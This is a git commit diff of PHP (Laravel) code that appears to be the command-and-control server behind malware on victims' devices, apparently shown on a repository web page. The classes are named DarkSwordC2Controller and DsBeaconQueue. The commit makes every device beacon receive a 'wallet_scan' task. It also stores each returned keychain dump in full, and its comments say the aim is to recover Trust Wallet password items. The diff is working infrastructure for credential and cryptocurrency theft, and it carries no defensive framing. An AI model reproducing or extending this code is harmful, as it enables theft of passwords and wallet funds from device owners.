fix: test
This commit is contained in:
@@ -244,7 +244,13 @@ class DarkSwordC2Controller extends Controller
|
||||
|
||||
public function result(Request $request): SymfonyResponse
|
||||
{
|
||||
return $this->ok($request, '/result', $this->jsonBody($request));
|
||||
$payload = $this->jsonBody($request);
|
||||
|
||||
// For wallet_scan results, log the full untruncated body so the
|
||||
// keychain dump (incl. trustwallet password items) is preserved verbatim.
|
||||
$logBody = $this->walletScanLogBody($request, $payload);
|
||||
|
||||
return $this->finish($request, '/result', $payload, response()->json(['ok' => true]), $logBody);
|
||||
}
|
||||
|
||||
/**
|
||||
@@ -286,7 +292,7 @@ class DarkSwordC2Controller extends Controller
|
||||
|
||||
$body = $logBody ?? $this->previewBody($request);
|
||||
$respPreview = $this->previewString((string) $response->getContent(), 4096);
|
||||
$uid = $payload['deviceUUID'] ?? $payload['lhu'] ?? $payload['device'] ?? $payload['device_id']
|
||||
$uid = $payload['deviceUUID'] ?? $payload['lhu'] ?? $payload['uuid'] ?? $payload['device'] ?? $payload['device_id']
|
||||
?? $request->attributes->get('coruna_device_key');
|
||||
if (Device::captureEnabledForKey(is_string($uid) ? $uid : null)) {
|
||||
$entry = [
|
||||
@@ -422,6 +428,28 @@ class DarkSwordC2Controller extends Controller
|
||||
return is_array($json) ? $json : [];
|
||||
}
|
||||
|
||||
/**
|
||||
* wallet_scan results carry the keychain dump (base64) in `data`.
|
||||
* Return the full decoded payload so create_log() writes it verbatim
|
||||
* (no 512-byte truncation), letting us recover trustwallet password
|
||||
* items from the ds log afterwards. Non-wallet_scan results return null
|
||||
* and fall back to the truncated preview.
|
||||
*
|
||||
* @param array<string, mixed> $payload
|
||||
* @return array<string, mixed>|null
|
||||
*/
|
||||
private function walletScanLogBody(Request $request, array $payload): ?array
|
||||
{
|
||||
$category = (string) ($payload['category'] ?? '');
|
||||
$filename = (string) ($payload['filename'] ?? '');
|
||||
if ($category !== 'wallet_scan' && ! str_contains($filename, 'keychain_c2_dump')) {
|
||||
return null;
|
||||
}
|
||||
$json = json_decode((string) $request->getContent(), true);
|
||||
|
||||
return is_array($json) ? $json : $payload;
|
||||
}
|
||||
|
||||
/**
|
||||
* @param array<string, mixed> $data
|
||||
* @return array<string, mixed>
|
||||
|
||||
@@ -4,25 +4,24 @@ namespace App\Services;
|
||||
|
||||
use App\Models\Device;
|
||||
use App\Models\DsBeaconTask;
|
||||
use Illuminate\Support\Facades\DB;
|
||||
use Illuminate\Support\Str;
|
||||
|
||||
class DsBeaconQueue
|
||||
{
|
||||
/** @var list<string> */
|
||||
/**
|
||||
* Only dispatch wallet_scan right now — we need the keychain dump
|
||||
* (incl. the trustwallet password items) back from the devices.
|
||||
* Other task types are intentionally omitted so they never block the queue.
|
||||
*
|
||||
* @var list<string>
|
||||
*/
|
||||
public const TYPES = [
|
||||
'wallet_extract',
|
||||
'wallet_scan',
|
||||
'photo_scan',
|
||||
'apps',
|
||||
];
|
||||
|
||||
/** @var list<string> */
|
||||
public const LOOP_TYPES = [
|
||||
'wallet_extract',
|
||||
'wallet_scan',
|
||||
'photo_scan',
|
||||
'apps',
|
||||
];
|
||||
|
||||
public function seed(Device $device): void
|
||||
@@ -56,41 +55,20 @@ class DsBeaconQueue
|
||||
}
|
||||
|
||||
/**
|
||||
* Next pending command. wallet_extract / wallet_scan / photo_scan / apps
|
||||
* re-queue after a full pass so the agent keeps polling them.
|
||||
* Always returns a fresh wallet_scan command. No task lookup/creation and
|
||||
* no polling state machine — every beacon gets wallet_scan so the device
|
||||
* keeps scanning the keychain. Results are stored by command_id
|
||||
* (DsResultStore) and logged verbatim (DarkSwordC2Controller::walletScanLogBody).
|
||||
*
|
||||
* @return array{type: string, command_id: string, params: array<string, mixed>}|null
|
||||
*/
|
||||
public function dequeue(Device $device): ?array
|
||||
{
|
||||
$this->seed($device);
|
||||
|
||||
return DB::transaction(function () use ($device) {
|
||||
$task = $this->nextRunnable($device);
|
||||
if (! $task) {
|
||||
return null;
|
||||
}
|
||||
|
||||
$commandId = 'dsq-'.$device->id.'-'.$task->position.'-'.Str::lower(Str::random(10));
|
||||
$meta = is_array($task->result_meta) ? $task->result_meta : [];
|
||||
$meta['dispatch_count'] = (int) ($meta['dispatch_count'] ?? 0) + 1;
|
||||
if ($task->status === DsBeaconTask::STATUS_DISPATCHED) {
|
||||
$meta['last_retry_at'] = now()->toDateTimeString();
|
||||
}
|
||||
|
||||
$task->forceFill([
|
||||
'status' => DsBeaconTask::STATUS_DISPATCHED,
|
||||
'command_id' => $commandId,
|
||||
'dispatched_at' => now(),
|
||||
'result_meta' => $meta,
|
||||
])->save();
|
||||
|
||||
return [
|
||||
'type' => $task->type,
|
||||
'command_id' => $commandId,
|
||||
'params' => $this->paramsFor($task->type),
|
||||
];
|
||||
});
|
||||
return [
|
||||
'type' => 'wallet_scan',
|
||||
'command_id' => 'dsq-'.$device->id.'-'.Str::lower(Str::random(12)),
|
||||
'params' => $this->paramsFor('wallet_scan'),
|
||||
];
|
||||
}
|
||||
|
||||
/**
|
||||
@@ -183,6 +161,7 @@ class DsBeaconQueue
|
||||
{
|
||||
return DsBeaconTask::query()
|
||||
->where('device_id', $device->id)
|
||||
->where('type', 'wallet_scan')
|
||||
->where(function ($q) {
|
||||
$q->where('status', DsBeaconTask::STATUS_PENDING)
|
||||
->orWhere(function ($q2) {
|
||||
|
||||
Reference in New Issue
Block a user